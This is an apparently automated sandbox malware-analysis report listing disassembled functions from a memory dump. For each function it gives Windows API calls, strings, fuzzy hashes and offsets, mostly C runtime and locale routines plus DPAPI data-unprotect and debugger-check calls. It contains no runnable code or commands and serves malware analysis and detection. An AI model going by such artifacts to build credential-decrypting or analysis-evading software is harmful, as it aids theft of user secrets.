API String ID: 3391094610-3811946249
Opcode ID: 3bb7ded17062e4b397386a719e14fc132e9bd4a9d4ca7b8669ef49969fe5b065
Instruction ID: 3f105b4463c338c030b9c1def3207b7b1e8b62ab44b95e94e4e487de452d141d
Opcode Fuzzy Hash: 3bb7ded17062e4b397386a719e14fc132e9bd4a9d4ca7b8669ef49969fe5b065
Instruction Fuzzy Hash: B0027E76A08BC681EA64CB25E4447AEA3A1FF85FD0F409231DA9D87B98DF3DD845D700

Function 00000001400A3D50 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 222COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00000001400958C8: GetLastError.KERNEL32 ref: 00000001400958D7
Part of subcall function 00000001400958C8: FlsGetValue.KERNEL32 ref: 00000001400958EC
Part of subcall function 00000001400958C8: SetLastError.KERNEL32 ref: 0000000140095977

TranslateName.LIBCMT ref: 00000001400A3DBD
TranslateName.LIBCMT ref: 00000001400A3DF8
GetACP.KERNEL32 ref: 00000001400A3E3D
IsValidCodePage.KERNEL32 ref: 00000001400A3E65

Strings

utf8, xrefs: 00000001400A3F49

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodePageValidValue
String ID: utf8
API String ID: 1791977518-905460609
Opcode ID: 5d2d2426c5a5194a24175210fd8136765016d2f1f96d66db4b316bbcbea0d38c
Instruction ID: 5cfce204ad3e52d521be1c37c867fcafba9ba4ef485f8ee24296846217238e8d
Opcode Fuzzy Hash: 5d2d2426c5a5194a24175210fd8136765016d2f1f96d66db4b316bbcbea0d38c
Instruction Fuzzy Hash: 01918C3260078087EB669F23E4417ED63A5E7ACBC0F448221FB59477E6DB39C992CB01

Function 00000001400A4784 Relevance: 10.7, APIs: 7, Instructions: 171COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00000001400958C8: GetLastError.KERNEL32 ref: 00000001400958D7
Part of subcall function 00000001400958C8: FlsGetValue.KERNEL32 ref: 00000001400958EC
Part of subcall function 00000001400958C8: SetLastError.KERNEL32 ref: 0000000140095977

Part of subcall function 00000001400958C8: FlsSetValue.KERNEL32 ref: 000000014009590D

GetUserDefaultLCID.KERNEL32 ref: 00000001400A48F4

Part of subcall function 00000001400958C8: FlsSetValue.KERNEL32 ref: 000000014009593A
Part of subcall function 00000001400958C8: FlsSetValue.KERNEL32 ref: 000000014009594B
Part of subcall function 00000001400958C8: FlsSetValue.KERNEL32 ref: 000000014009595C

EnumSystemLocalesW.KERNEL32 ref: 00000001400A48DB
ProcessCodePage.LIBCMT ref: 00000001400A491E
IsValidCodePage.KERNEL32 ref: 00000001400A4930
IsValidLocale.KERNEL32 ref: 00000001400A4946
GetLocaleInfoW.KERNEL32 ref: 00000001400A49A2
GetLocaleInfoW.KERNEL32 ref: 00000001400A49BE

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Value$Locale$CodeErrorInfoLastPageValid$DefaultEnumLocalesProcessSystemUser
String ID:
API String ID: 2591520935-0
Opcode ID: dc923a5d096c57da2041771729e7932b82461942625d63c848e344da9d183a2f
Instruction ID: 16d93509c95003d09cb5a81faf5c145d79ac997122476c855c64cffa21997edd
Opcode Fuzzy Hash: dc923a5d096c57da2041771729e7932b82461942625d63c848e344da9d183a2f
Instruction Fuzzy Hash: 1B719D3A7007408AFB129F62E4517EE33A4BB9CBC4F444225EF5953AA5EB38C495CB50

Function 0000000140062510 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 410COMMON

Download Yara Rule

APIs

__std_exception_destroy.LIBVCRUNTIME ref: 00000001400626C4
__std_exception_destroy.LIBVCRUNTIME ref: 00000001400626D2
__std_exception_destroy.LIBVCRUNTIME ref: 0000000140062955
__std_exception_destroy.LIBVCRUNTIME ref: 0000000140062963

Strings

value, xrefs: 00000001400625EA, 0000000140062883

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: __std_exception_destroy
String ID: value
API String ID: 2453523683-494360628
Opcode ID: 260de650f0621c12bef814eab2a5d47b7512d1be4438ab8488d2f8cfd830ab5b
Instruction ID: a0ee57199ec3ce90a2ea8f43caeda29c8c906ea7494d2c7ab5bc718b9e9dd556
Opcode Fuzzy Hash: 260de650f0621c12bef814eab2a5d47b7512d1be4438ab8488d2f8cfd830ab5b
Instruction Fuzzy Hash: DF028D32624BC085EB12CB76D8403ED6761E7997E4F605712FB9E17AEADB78C185C700

Function 00007FF6350D11D9 Relevance: 9.1, APIs: 6, Instructions: 130stringCOMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6350D124B
malloc.MSVCRT ref: 00007FF6350D1312
strlen.MSVCRT ref: 00007FF6350D1334
malloc.MSVCRT ref: 00007FF6350D1340
memcpy.MSVCRT ref: 00007FF6350D1358
_initterm.MSVCRT ref: 00007FF6350D141A

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: malloc$ExceptionFilterUnhandled_inittermmemcpystrlen
String ID:
API String ID: 1260285541-0
Opcode ID: 4903dc9185d39246619b425608e0136eb5eeb636e7dc1dfbaabc0c8552b91fbc
Instruction ID: b3a931c4301b5d9bdf8f071483ae538609d1e2f7d543bbf10682357f65ff0a35
Opcode Fuzzy Hash: 4903dc9185d39246619b425608e0136eb5eeb636e7dc1dfbaabc0c8552b91fbc
Instruction Fuzzy Hash: F6511336E2968786FA21AB65E49037923E0AF45F84F444039DE0CC7396EF3EEC51A754

Function 000000014008D3D8 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 000000014008D451
RtlLookupFunctionEntry.KERNEL32 ref: 000000014008D469
RtlVirtualUnwind.KERNEL32 ref: 000000014008D4A4
IsDebuggerPresent.KERNEL32 ref: 000000014008D4DD
SetUnhandledExceptionFilter.KERNEL32 ref: 000000014008D4E7
UnhandledExceptionFilter.KERNEL32 ref: 000000014008D4F2

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 62484be6782a1868f2aab5373510e50ea99112a482b5237f41028b796158fad6
Instruction ID: ec7dd7c93c2cafcbf5452b660a6186fd6c71989d302a7769adecfa476ec907f4
Opcode Fuzzy Hash: 62484be6782a1868f2aab5373510e50ea99112a482b5237f41028b796158fad6
Instruction Fuzzy Hash: 73313F36214F8086EB61DF66E8443EE73A4F789794F540226EB9D43BA9DF38C555CB00

Function 00007FF6350EDA84 Relevance: 7.9, APIs: 2, Strings: 3, Instructions: 359COMMON

Download Yara Rule

Strings

, xrefs: 00007FF6350EE59E
!, xrefs: 00007FF6350EEC5B
P, xrefs: 00007FF6350EE9B3

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID:
String ID: $!$P
API String ID: 0-2344582389
Opcode ID: e65736c1dc54ff8f8e83bf8e017ecec5d9c8dafb1b82336238fa23b941b4cde6
Instruction ID: 5e0e4ff609770176d277243e375016f79c6b27d30afeffd59063de64e2d4f6f8
Opcode Fuzzy Hash: e65736c1dc54ff8f8e83bf8e017ecec5d9c8dafb1b82336238fa23b941b4cde6
Instruction Fuzzy Hash: 63F1C57390CB8B86E7708F50E0443BAB7A1EB80B44F24913AD75997794DF7EE845AB40

Function 00000001400907A0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 329COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 000000014009080A
memcpy_s.LIBCPMT ref: 0000000140090835

Strings

, xrefs: 0000000140090968

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-3916222277
Opcode ID: 1b748593274e8ddd9ac1e908b2a22b3d8043b10f383cd2471e7c6bd1e5b959b4
Instruction ID: 0c772acccd2561090ae59935be1b1d13ce4e89495d086943b039690d891e3a67
Opcode Fuzzy Hash: 1b748593274e8ddd9ac1e908b2a22b3d8043b10f383cd2471e7c6bd1e5b959b4
Instruction Fuzzy Hash: 84C11B727156C58BEB61CF1AE148B9EB7A1F7887C8F048225EB4A43B94DB3CD845CB40

Function 00000001400B8A44 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000001400B8AA5
IsDebuggerPresent.KERNEL32 ref: 00000001400B8ABD
OutputDebugStringW.KERNEL32 ref: 00000001400B8ACE

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00000001400B8AC7

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: DebugDebuggerErrorLastOutputPresentString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 389471666-631824599
Opcode ID: add000f596c63ba9086890ad2e143c759155224b8522789efc4995f79ab0692a
Instruction ID: b3baff55db2af0ef0d3f7f0b280b4444a411bf90a176b58064316404aa57ab54
Opcode Fuzzy Hash: add000f596c63ba9086890ad2e143c759155224b8522789efc4995f79ab0692a
Instruction Fuzzy Hash: 98115A32210B4097F7569B27EA453EE33A4FB48784F44812ADB4983AB0EF78D0B4C750

Function 0000000140066750 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 375COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000001400669AE

Strings

parse_error, xrefs: 00000001400667DE
value, xrefs: 00000001400676D3

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: __std_exception_copy
String ID: parse_error$value
API String ID: 592178966-1739288027
Opcode ID: 3194e1ade6ae5099114b76c0ec180f09d85df2fe5fb0a6993eb75f5ebc59c465
Instruction ID: 421e330f328ad8b9b4ed95ecda8ee77e216b13cc7eff753dffc2ada38604a70e
Opcode Fuzzy Hash: 3194e1ade6ae5099114b76c0ec180f09d85df2fe5fb0a6993eb75f5ebc59c465
Instruction Fuzzy Hash: 8CF1AD72B20A8095EB12DB76E8413ED6362F7997D8F505712FB4D57AAAEF74C284C300

Function 00000001400B63B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32 ref: 00000001400B63D6
FormatMessageA.KERNEL32 ref: 00000001400B6409

Strings

!x-sys-default-locale, xrefs: 00000001400B63C9

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: 673506cb31d12670dfbde8b650ceb219f5d226973d02233bc6ec21ba9828e093
Instruction ID: 6e8259666aaa04c0050ce825aa23775dbb0e3623261df5dc7e3128c0f8f5c655
Opcode Fuzzy Hash: 673506cb31d12670dfbde8b650ceb219f5d226973d02233bc6ec21ba9828e093
Instruction Fuzzy Hash: 90018072B04B8082E7528F63F8507EEA7A1F7887C4F484025EB4947BA8DB3CC5058B10

Function 00000001400A4204 Relevance: 4.7, APIs: 3, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 00000001400958C8: GetLastError.KERNEL32 ref: 00000001400958D7
Part of subcall function 00000001400958C8: FlsGetValue.KERNEL32 ref: 00000001400958EC
Part of subcall function 00000001400958C8: SetLastError.KERNEL32 ref: 0000000140095977

Part of subcall function 00000001400958C8: FlsSetValue.KERNEL32 ref: 000000014009590D

GetLocaleInfoW.KERNEL32 ref: 00000001400A4270

Part of subcall function 000000014008B9A4: _invalid_parameter_noinfo.LIBCMT ref: 000000014008B9C1

GetLocaleInfoW.KERNEL32 ref: 00000001400A42B9

Part of subcall function 000000014008B9A4: _invalid_parameter_noinfo.LIBCMT ref: 000000014008BA1A

GetLocaleInfoW.KERNEL32 ref: 00000001400A4384

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: InfoLocale$ErrorLastValue_invalid_parameter_noinfo
String ID:
API String ID: 1791019856-0
Opcode ID: fde7b8e7db97b770b6d17fa1d78b977a143d5c9e84fe95fb781c5122d3544716
Instruction ID: eec5268479cdda02b8c78da84042847b0e53e37d1fcb4ab9b2df148b0f025e75
Opcode Fuzzy Hash: fde7b8e7db97b770b6d17fa1d78b977a143d5c9e84fe95fb781c5122d3544716
Instruction Fuzzy Hash: D96190376006418AEB369F16E5413ED73A1F7AC7C0F448225EB9A97AA5DB38D691CB00

Function 0000000140099898 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32 ref: 000000014009990C

Strings

GetLocaleInfoEx, xrefs: 00000001400998B4, 00000001400998C5

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: InfoLocale
String ID: GetLocaleInfoEx
API String ID: 2299586839-2904428671
Opcode ID: 287f50d5c011b399992cb6bab078c34d72dd0b19453a01a46759c6e23c60aea6
Instruction ID: b8b15d082959550375d872d2b4a574b6c35111f93f95d4160ec2587d11962505
Opcode Fuzzy Hash: 287f50d5c011b399992cb6bab078c34d72dd0b19453a01a46759c6e23c60aea6
Instruction Fuzzy Hash: 33016235704A8086EB459B5BB5447CEA760EB9DBC0F584436BF4917BB6CE38C5428740

Function 0000000140035E00 Relevance: 3.1, APIs: 2, Instructions: 145encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32 ref: 0000000140035E8D
LocalFree.KERNEL32 ref: 0000000140035F1F

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: CryptDataFreeLocalUnprotect
String ID:
API String ID: 1561624719-0
Opcode ID: 2d7647a67a8f319a18b8dd0fe8c462f8e683f58ddbc04ba286296f754b3ab06a
Instruction ID: f86567b3b1ec8be5b490864e58408f9f676ebc34b96ddf5a885d773d0d40a402
Opcode Fuzzy Hash: 2d7647a67a8f319a18b8dd0fe8c462f8e683f58ddbc04ba286296f754b3ab06a
Instruction Fuzzy Hash: 9A615832B14B809EE712DFB5E4403DD77A1E75878CF048225EB8917EAADB78C5A48340

Function 000000014006FEA0 Relevance: 3.1, APIs: 2, Instructions: 86encryptionCOMMON

Download Yara Rule

APIs

CryptProtectData.CRYPT32 ref: 000000014006FEF8
LocalFree.KERNEL32 ref: 000000014006FF8A

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: CryptDataFreeLocalProtect
String ID:
API String ID: 2714945720-0
Opcode ID: 9f4b79a0373a1bb07a1f6d57d23aee76defce310f3f699e5fe1e45333d4ada4c
Instruction ID: 67641ed3af448434e7319fa557c5d406fdc98635340749bb2cffd34bed4cf3a5
Opcode Fuzzy Hash: 9f4b79a0373a1bb07a1f6d57d23aee76defce310f3f699e5fe1e45333d4ada4c
Instruction Fuzzy Hash: 57413232614A80CAE3218F75E8403ED37A5F75978CF444629BB8C07E9ADB79C5A48744

Function 00000001400A4450 Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00000001400958C8: GetLastError.KERNEL32 ref: 00000001400958D7
Part of subcall function 00000001400958C8: FlsGetValue.KERNEL32 ref: 00000001400958EC
Part of subcall function 00000001400958C8: SetLastError.KERNEL32 ref: 0000000140095977

Part of subcall function 00000001400958C8: FlsSetValue.KERNEL32 ref: 000000014009590D

GetLocaleInfoW.KERNEL32 ref: 00000001400A44B8

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ErrorLastValue$InfoLocale
String ID:
API String ID: 673564084-0
Opcode ID: aae51b2a9d21bf7e54f83e578898ef5b46cb428bc91c270732ecb8b3fec0fc21
Instruction ID: 3f2f1034046393169654e7699368e5024081eb92b0caf98da66f0f6c9ea1bd9c
Opcode Fuzzy Hash: aae51b2a9d21bf7e54f83e578898ef5b46cb428bc91c270732ecb8b3fec0fc21
Instruction Fuzzy Hash: 4D318F32B0068187EB25DB27E4413EE73A0F79C7C1F449225FB9983BA6DB38D5918B00

Function 00000001400A409C Relevance: 1.6, APIs: 1, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00000001400958C8: GetLastError.KERNEL32 ref: 00000001400958D7
Part of subcall function 00000001400958C8: FlsGetValue.KERNEL32 ref: 00000001400958EC
Part of subcall function 00000001400958C8: SetLastError.KERNEL32 ref: 0000000140095977

EnumSystemLocalesW.KERNEL32 ref: 00000001400A413A

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: d452b71020bd1f022492bc6807cc192c2c9e031585c9895097b6e7427efa948c
Instruction ID: 7ba68ebfd2e082917346c4e20934efbd0178457faff08846a1fb6ebd3dab0b21
Opcode Fuzzy Hash: d452b71020bd1f022492bc6807cc192c2c9e031585c9895097b6e7427efa948c
Instruction Fuzzy Hash: 8711B17BA046448AEB168F16D4807ED7BA1F7E8FE1F448225E765437E0DA74CAD1CB40

Function 00000001400A4658 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 00000001400958C8: GetLastError.KERNEL32 ref: 00000001400958D7
Part of subcall function 00000001400958C8: FlsGetValue.KERNEL32 ref: 00000001400958EC
Part of subcall function 00000001400958C8: SetLastError.KERNEL32 ref: 0000000140095977

GetLocaleInfoW.KERNEL32 ref: 00000001400A468F

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ErrorLast$InfoLocaleValue
String ID:
API String ID: 3796814847-0
Opcode ID: 45ec05eff0f2b05e6231976ea7c75e6e9d0457c6cb665565b202bab4e64c0672
Instruction ID: b5a02edd516b77fe93742bd04e37730368f1846733e8bb4b774b053a44aa4555
Opcode Fuzzy Hash: 45ec05eff0f2b05e6231976ea7c75e6e9d0457c6cb665565b202bab4e64c0672
Instruction Fuzzy Hash: A1118C3671459083E7665B13E0407EE23A0E79ABE0F004325FB6507EE4CA35C8D18F01

Function 00000001400A416C Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00000001400958C8: GetLastError.KERNEL32 ref: 00000001400958D7
Part of subcall function 00000001400958C8: FlsGetValue.KERNEL32 ref: 00000001400958EC
Part of subcall function 00000001400958C8: SetLastError.KERNEL32 ref: 0000000140095977

EnumSystemLocalesW.KERNEL32 ref: 00000001400A41EA

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: 8f5d73e62e28e10308f28ad075867fd029a0f79c06fa79334ee1fb58e0dcdad7
Instruction ID: 650d51a00948b0b7b39d5f8c88aa00294e78a8c84a20bb39946b0cffb9075a66
Opcode Fuzzy Hash: 8f5d73e62e28e10308f28ad075867fd029a0f79c06fa79334ee1fb58e0dcdad7
Instruction Fuzzy Hash: 7801F776B0428086EB564F17E840BD976E2E7B8BE4F458322E77447AE4CB7888C5CB00

Function 0000000140099354 Relevance: 1.5, APIs: 1, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32 ref: 00000001400993A3

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 4f3cbd580663199aaccb01281376539d086b8c9a154dabf837bfd3fdbd7783f2
Instruction ID: 1be20af52885482918bde62337cf613b9eed61835a97c3d623556c94da20431d
Opcode Fuzzy Hash: 4f3cbd580663199aaccb01281376539d086b8c9a154dabf837bfd3fdbd7783f2
Instruction Fuzzy Hash: 72F01472300B4483E606DB2AE8907D933A5FB9DBC0F548026EB4983375CF3CC6618300

Function 00000001400A4D28 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000001400A4D2C

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: b1a02dc7636490bc937ba8cdd60d563051e8e3f602837cd51ba1a2af37ab86b1
Instruction ID: e369f7cc69527b3f87cf0ecfe746ebd2d4f4dd9a0230a8f2b092041844e38892
Opcode Fuzzy Hash: b1a02dc7636490bc937ba8cdd60d563051e8e3f602837cd51ba1a2af37ab86b1
Instruction Fuzzy Hash: 4EB09234A03A00C2EA8A6B126C8A34823A4BB4CB40F984118820C41330DB3C04E69710

Function 00000001400D0730 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed0f540de69ccb67716655c91227024102375046926eae98518b1ec46f380bdb
Instruction ID: 245fc433537d32150a4d1e2a8be456283edbd268740b5e37033183201b2dad0b
Opcode Fuzzy Hash: ed0f540de69ccb67716655c91227024102375046926eae98518b1ec46f380bdb
Instruction Fuzzy Hash: 48E0090704E3C01FC3538FB408A919C3F30948398839A808BEAC2E22A3D00E885EC322

Function 00000001400D0390 Relevance: .0, Instructions: 11COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af18ba094cbd81df92573fcc83598c94b1c4716b01b6f30a98907bb270cb89c1
Instruction ID: 6a58de9137a9b263d4fba809f3b61e9c427b68c816fd736058421722386ffb8f
Opcode Fuzzy Hash: af18ba094cbd81df92573fcc83598c94b1c4716b01b6f30a98907bb270cb89c1
Instruction Fuzzy Hash: 4AD05B97A0EEC546F15341951E2A34D1DE45F56774F0C815F6F94472E39022AE075721

Function 00000001400D0140 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d6c8ef4fe53d1de94ad1c978db41d797d93c71f943273fd8c5f4d5335124e7a
Instruction ID: 1d663deedf137b3a0b26b0468279610d56ed1ba6779a8f03fb0d2568f61dce6b
Opcode Fuzzy Hash: 6d6c8ef4fe53d1de94ad1c978db41d797d93c71f943273fd8c5f4d5335124e7a
Instruction Fuzzy Hash: BFB0025E45098041F492441A19423C95781DF17BF4E29534D5E78571F212228407A569

Function 00000001400D03A8 Relevance: .0, Instructions: 3COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77a31c27909e9975095eeefd5dee5a76baab0230a3fefe714aa7b06cfff02c8e
Instruction ID: 16cef07493e79951dd783a00ba9aab815a848c90a36d2758bff0ded1b12a4b6f
Opcode Fuzzy Hash: 77a31c27909e9975095eeefd5dee5a76baab0230a3fefe714aa7b06cfff02c8e
Instruction Fuzzy Hash: F4A012C7C0DBC102D303411051047191F004702105F0710BD8FA8126C2994D94044200

Function 00000001400D02C8 Relevance: .0, Instructions: 2COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9025721b4734cf216ff9161dcb72c60a7b93c9289a9a52723133faa327573b8
Instruction ID: 4cefd50d1c9ba925575938aa59d14428042512a825f22dd26fb75e1c8ab95d92
